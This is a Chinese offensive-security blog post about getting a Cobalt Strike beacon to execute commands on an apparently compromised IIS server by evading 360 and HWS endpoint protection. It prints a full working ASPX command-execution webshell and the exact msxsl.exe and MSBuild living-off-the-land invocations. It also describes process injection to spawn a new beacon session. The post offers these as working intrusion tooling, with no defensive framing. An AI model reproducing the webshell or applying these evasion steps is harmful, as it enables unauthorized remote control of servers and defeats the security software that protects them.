记一次艰难的上线和杀软Bypass

admin 2023年6月6日12:42:33评论112 views字数 4279阅读14分15秒阅读模式


  前言


起因是拿了条shell,IIS服务器,无法执行系统命令,仅能看文件和ps命令,CS是使用.net的shellcode加载上线。

   

01
干tmd


cs是上线了,但好像又没完全上线,如下图:

记一次艰难的上线和杀软Bypass


可以看到是有个360,下面是执行命令被拦截:


记一次艰难的上线和杀软Bypass

屡建奇功的powerpick也不好使了,于是决定仔细看看进程列表

按理说光是360拦截不了这么死才对:

 

PID   PPID  Name                         Arch  Session     User ---   ----  ----                         ----  -------     ----- 0     0     [System Process]                                 4     0     System                                           532   840   dwm.exe                                          604   4     smss.exe                                         672   840   LogonUI.exe                                      692   880   svchost.exe                                      716   880   svchost.exe                                      728   716   csrss.exe                                        780   772   csrss.exe                                        788   716   wininit.exe                                      840   772   winlogon.exe                                      880   788   services.exe                                     888   788   lsass.exe                                        944   880   svchost.exe                                      972   880   svchost.exe                                      992   880   svchost.exe                                      1064  880   ZhuDongFangYu.exe                                 1128  880   svchost.exe                                      1292  880   svchost.exe                                      1344  944   ChsIME.exe                                       1512  880   spoolsv.exe                                      1568  880   svchost.exe                                      1588  880   svchost.exe                                      1620  880   FileZilla Server.exe                             1680  880   hws.exe                                          1768  880   hwsd.exe                                         1796  880   inetinfo.exe                                     1980  880   MsDtsSrvr.exe                                    2132  880   mqsvc.exe                                        2872  880   sqlservr.exe                                     2936  880   msmdsrv.exe                                      3016  880   SMSvcHost.exe                                    3464  880   ReportingServicesService.exe                     3864  880   sqlwriter.exe                                    3888  880   svchost.exe                                      3900  880   SMSvcHost.exe                                    3904  880   svchost.exe                                      4592  18576 360chrome.exe                                    5956  880   fdlauncher.exe                                   5992  880   svchost.exe                                      6148  880   svchost.exe                                      6180  5956  fdhost.exe                                       6220  6180  conhost.exe                                      7844  7836  csrss.exe                                        7872  7836  winlogon.exe                                      8060  7872  dwm.exe                                          8728  716   taskhostex.exe                                   8756  716   readertray.exe                                   8820  9092  HwsPanel.exe                                     8824  1064  360tray.exe                                       8840  5992  rdpclip.exe                                      8884  944   ChsIME.exe                                       8940  8932  explorer.exe                                      9840  9328  MultiTip.exe                                     10060 8756  msgcenter.exe                                    10500 880   msdtc.exe                                        11288 944   WmiPrvSE.exe                                     11496 8940  InetMgr.exe                                      15676 24436 GameChrome.exe                                   15688 30716 ctfmon.exe                                       16504 3904  w3wp.exe                                         16968 24436 GameChrome.exe                                   17628 8824  360Clock.exe                                     18292 24436 GameChrome.exe                                   18576 8940  360chrome.exe                                    19156 20008 SDIS.exe                                         20940 3904  w3wp.exe                                         21824 18576 360chrome.exe                                    21868 18576 360chrome.exe                                    22972 18576 360chrome.exe                                    24436 17628 GameChrome.exe                                   24896 18576 360chrome.exe                                    25808 3904  w3wp.exe                     x64   0           IIS APPPOOLxx   26520 3904  w3wp.exe                                         27904 3904  w3wp.exe                                         27908 944   ChsIME.exe                                       30536 944   explorer.exe                                      30716 19156 explorer.exe                                      31632 24436 GameChrome.exe                                   33480 3904  w3wp.exe                                         37852 3904  w3wp.exe                                         39668 3904  w3wp.exe

    

查了半天,似乎是360+护卫神防入侵,于是掏出珍藏已久的裸CMD马:


<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><script Language="c#" runat="server">protected void FbhN(object sender, EventArgs e) {    try {        Process ahAE = new Process();        ahAE.StartInfo.FileName = kusi.Value;        ahAE.StartInfo.Arguments = bkcm.Value;        ahAE.StartInfo.UseShellExecute = false;        ahAE.StartInfo.RedirectStandardInput = true;        ahAE.StartInfo.RedirectStandardOutput = true;        ahAE.StartInfo.RedirectStandardError = true;        ahAE.Start();        string Uoc = ahAE.StandardOutput.ReadToEnd();        Uoc = Uoc.Replace("<", "&lt;");        Uoc = Uoc.Replace(">", "&gt;");        Uoc = Uoc.Replace("rn", "<br>");        tnQRF.Visible = true;        tnQRF.InnerHtml = "<hr width="100%" noshade/><pre>" + Uoc + "</pre>";    } catch(Exception error) {        Response.Write(error.Message);    }}</script>
<html> <head> <title>Asp.Net SafeDog CmdShell</title> </head> <body> <form id="cmd" method="post" runat="server"> <div runat="server" id="vIac"> <p><input class="input" runat="server" id="kusi" type="text" size="100" value="c:windowssystem32cmd.exe" /> </p> <input class="input" runat="server" id="bkcm" value="/c Set" type="text" size="100" /> <asp:button id="YrqL" cssclass="bt" runat="server" text="Submit" onclick="FbhN" /> <div id="tnQRF" runat="server" visible="false" enableviewstate="false"> </div> </div> </form> </body></html>

记一次艰难的上线和杀软Bypass

那么开绕

02
艰难的绕过


猪猪侠眉头一皱发觉事情并不简单


首先是替换默认的CMD的根路径,这里用32位的cmd尝试

C:WindowsSysWOW64cmd.exe

记一次艰难的上线和杀软Bypass

一看就是360拦截了嘛,没逝,但是在事后我尝试复现模拟环境的时候,发现并不是360拦截的,是HWS,禁止创建进程,如下图:

记一次艰难的上线和杀软Bypass

这.... 回过头再来看CS究竟哪里触发了天条

记一次艰难的上线和杀软Bypass

似乎有点东西啊,这更坚定了我绕过的决心

考虑到创建进程都会被拦截,和免杀不免杀的关系其实不大。

于是第一时间想到白加黑的方式,只要白加黑跨父进程W3WP,那么就一定可以成功。


于是

## 被360拦截C:WindowsMicrosoft.NETFramework64v4.0.30319InstallUtil.exeC:WindowsMicrosoft.NETFramework64v3.5MSBuild.exeC:WindowsMicrosoft.NETFramework64v4.0.30319MSBuild.exe## 360不拦截,但无法利用的C:WindowsMicrosoft.NETFramework64v4.0.30319csc.exeC:WINDOWSMicrosoft.NETFrameworkv3.5csc.exe

记一次艰难的上线和杀软Bypass

于是

记一次艰难的上线和杀软Bypass

操!

记一次艰难的上线和杀软Bypass


互联网上翻翻找找,找到了msxsl.exe这个东东

C:UsersPublicMusicmsxsl.exe C:UsersPublicMusicargv1.xml C:UsersPublicMusicJScript.xml


记一次艰难的上线和杀软Bypass

刷新了一下CS的进程列表

记一次艰难的上线和杀软Bypass

新建了一个进程,下图是未逃逸的进程

记一次艰难的上线和杀软Bypass

新进程产生后,直接走进程注入,spawn一个新的session,回连到CS,绕过完成。

记一次艰难的上线和杀软Bypass

进程注入上线,原进程是cmd.exe这个

记一次艰难的上线和杀软Bypass

执行命令看看

记一次艰难的上线和杀软Bypass

完美,逃逸成功

03
复盘


事后复盘的时候我安装了最新版本360和hws防入侵,但是使用上面的方法,居然???没有绕过?????!!!!

记一次艰难的上线和杀软Bypass


找了一下原因,是因为最新版的360把msxsl.exe给拦截了,What fuck?


记一次艰难的上线和杀软Bypass


又去翻找了一下大佬的文章

https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker


测试了几次,发现护卫神对于msxsl.exe以及Msbuild等确实是白名单(拒绝访问是因为360的原因),这里我用的Msbuild简单的复现:


记一次艰难的上线和杀软Bypass

但执行shellcode提示:

“未经处理的异常:  System.AccessViolationException: 尝试读取或写入受保护的内存。这通常指示其他内存已损坏。”


虽然执行不了,但是会产生一个假死的MSbuild进程


记一次艰难的上线和杀软Bypass


问题不大,只要进程创建了就好办,老办法,进程注入(只要上线,360不会拦这个)

记一次艰难的上线和杀软Bypass

但是,由于目前msxsl.exe和msbuild都会被被360拦截,因此有两条路,针对互补的安全软件:


  1. 自己挖白利用

  2. 绕360,慢慢绕


记一次艰难的上线和杀软Bypass



END

记一次艰难的上线和杀软Bypass

扫码关注了解更多
安全小技巧



原文始发于微信公众号(JC的安全之路):记一次艰难的上线和杀软Bypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月6日12:42:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次艰难的上线和杀软Bypasshttp://cn-sec.com/archives/1784652.html

发表评论

匿名网友 填写信息